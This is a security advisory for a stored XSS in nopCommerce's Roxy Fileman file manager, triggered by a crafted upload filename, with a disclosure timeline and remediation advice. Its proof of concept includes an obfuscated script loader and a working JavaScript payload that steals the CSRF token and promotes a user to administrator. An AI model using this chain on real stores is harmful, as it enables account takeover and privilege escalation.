CVE-2026-50808 – nopCommerce XSS via filename in Roxy Fileman

Table of Contents

Description

The issue is in nopCommerce, an open-source eCommerce platform. (Github)

Roxy Fileman is used as a dependency in the admin interface of nopCommerce. It is vulnerable to Stored Cross-Site Scripting (XSS) via a crafted filename. An
attacker can upload a file with an XSS payload embedded in the filename. The payload is
stored server-side and executes in the browser when the file listing is rendered in the GUI.

Details

Details can be found below, or in the attached PDF at the bottom of this section.

The file upload functionality in Roxy Fileman does not sanitize or encode filenames before storing or displaying them. When a file is uploaded with a malicious filename (e.g., <img src=x onerror=alert(document.domain)>.png),the filename is persisted as-is and later reflected unsanitized into the HTML of the file manager interface. This allows the injected script to execute in the context of any administrator user who browses the affected directory in the GUI.

Attack vector:

An attacker with file upload access uploads a file with a crafted filename containing an XSS payload. When an administrator opens the directory containing the file,
the payload executes in their browser session. Uploading to the default directory causes to
XSS to trigger automatically.

PoC / Steps to reproduce

1. In NopCommerce admin interface press «Products» then «Add a new product»

2. Then click the image-icon highlighted below

3. Open Roxy Fileman upload dialog

  

4. Upload a file with the name <img src=x onerror=alert(document.domain)>.png

5. Payload executes in the browser

The payload fires when uploading the file, as well as when anyone browses the directory
containing the file.

Full PoC For practical exploitation

PoC for practical exploitation of adding an existing user with ID 5 to the administrators-list, causing the user to be added as an administrator in a default install:

atob('aHR0cDovLzEyNy4wLjAuMTo4MDAwL3guanM=') => http://127.0.0.1:8000/x.js

Filename set: filename=" <img src=x
onerror=$.getScript(atob('aHR0cDovLzEyNy4wLjAuMTo4MDAwL3guanM='))> .png"

x.js hosted on python3 -m http.server

				
					fetch("http://127.0.0.1:8088/Admin/Customer/Edit/5", {
    "credentials": "include",
    "method": "GET"
}).then(r => r.text()).then(html => {
    const doc = new DOMParser().parseFromString(html, "text/html");
    const token = doc.querySelector('[name="__RequestVerificationToken"]').value;
    console.log("Token:", token);
    return token;
}).then(token => {
    fetch("http://127.0.0.1:8088/Admin/Customer/Edit/5", {
        "credentials": "include",
        "headers": {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101
Firefox/ 140.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/
*; q=0.8",
"Accept-Language": "en-US,en;q=0.5",
        "Content-Type": "application/x-www-form-urlencoded",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-User": "?1",
        "Priority": "u=0, i",
        "Pragma": "no-cache",
        "Cache-Control": "no-cache"
    },
        "referrer": "http://127.0.0.1:8088/Admin/Customer/Edit/5",
        "body": `save=&Id=5&Email=test%40example.com&Password=&FirstName=b&LastName=a&
Company=%3Cs%3Easdf&SelectedCustomerRoleIds=1&SelectedCustomerRoleIds=3&VendorId=0
&Active=true&AdminComment=&order-grid_length=15&customer-addresses-
grid_length=15&CustomerShoppingCartSearchModel.ShoppingCartTypeId=1&currentshoppin
gcart-grid_length=15&activitylog-grid_length=15&backinstock-subscriptions-
grid_length=15&customer-rewardpoints-
grid_length=15&AddRewardPoints.Points=0&__Invariant=AddRewardPoints.Points&__Invar
iant=AddRewardPoints.Points&AddRewardPoints.PointsValidity=&__Invariant=AddRewardP
oints.PointsValidity&__Invariant=AddRewardPoints.PointsValidity&AddRewardPoints.Me
ssage=&AddRewardPoints.StoreId=1&AddRewardPoints.ActivatePointsImmediately=true&Ad
dRewardPoints.ActivationDelay=0&__Invariant=AddRewardPoints.ActivationDelay&__Inva
riant=AddRewardPoints.ActivationDelay&AddRewardPoints.ActivationDelayPeriodId=0&__
RequestVerificationToken=${encodeURIComponent(token)}&IsTaxExempt=false&Active=fal
se&AddRewardPoints.ActivatePointsImmediately=false`,
        "method": "POST",
        "mode": "cors"
    });
});

				
			
PDF advisory:

NopCommerce-CVE-2026-50808

Impact

By default, the authentication cookie has Secure -flag set to false and HTTPOnly set to true ,
which means that another gadget is needed to directly steal cookies. It is possible to perform
actions such as creating new administrators though.

The functionality requires administrative privileges. Anyone browsing the affected directory
will be affected by the XSS. Impact includes:
• Session cookie theft
• Account takeover
• Performing actions on behalf of another user or administrator
• Credential harvesting
• Privilege escalation

Suggested CVSS

Severity score: 7.3 / High

Vector: CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H/E:P

Vulnerable versions

All versions from v.3.40 to current are vulnerable (At the time of posting: 07 September 2026). There is no version available with a fix.

> We have notified developers of NopCommerce and tried to coordinate the disclosure, but have not received any reply except for acknowledging our initial disclosure.

Fix

The branch implementing the fix is ready, but has not yet been released. It removes the vulnerable feature and can be found here: https://github.com/nopSolutions/nopCommerce/issues/7462

Roxy Fileman is planned to be replaced in version 5.0, as indicated in the Milestones on Github: https://github.com/nopSolutions/nopCommerce/milestone/20
This will fix this vulnerability by replacing the vulnerable library.

Until then, adding mitigations through WAF or pulling in the branch for the fix in your current install will address the issue.

Remediation

Filenames should be output escaped and sanitized in the context of the application. Consider:
• Strip or reject special characters in filenames on upload
• Apply HTML entity encoding when rendering filenames in the DOM
• Use textContent instead of innerHTML when injecting filenames

Timeline

  • 24 February 2026 – Vulnerability discovered
  • 31 March 2026 – Initial contact to nopCommerce via the website contact form, asking for a security contact. nopCommerce responds the same day
  • 31 March 2026 – Full report sent, including PDF and markdown write-up, detailing affected commit reference, and our disclosure policy (Google Project Zero’s policy for ethical disclosure)
  • 04 April 2026 – nopCommerce responds, stating they have moved away from Roxy Fileman and do not apply fixes to old versions
  • 06 April 2026 – Semaphore asks whether nopCommerce will issue a security advisory and CVE so users can make informed decisions about updating
  • 06 April 2026 – nopCommerce confirms Semaphore may request a CVE
  • 07 April 2026 – CVE request submitted to MITRE. MITRE acknowledges receipt the same day
  • 30 June 2026 – MITRE assigns CVE-2026-50808
  • 11 August 2026 – Semaphore notifies nopCommerce of intent to publish, notes that the fix in issue #7462 has not yet been merged, offers to coordinate a disclosure timeline, and sets 10 September 2026 as the publication date
  • 11 August – 10 September 2026 – No response received from nopCommerce
  • 10 September 2026 – Semaphore publishes research. Issue #7462 remains unmerged at time of publication

Credit

Issue found by: Robin Lunde (https://robinlunde.com/) & Fredrik Dietrichson from Semaphore
Consulting

Flere innlegg

Skroll til toppen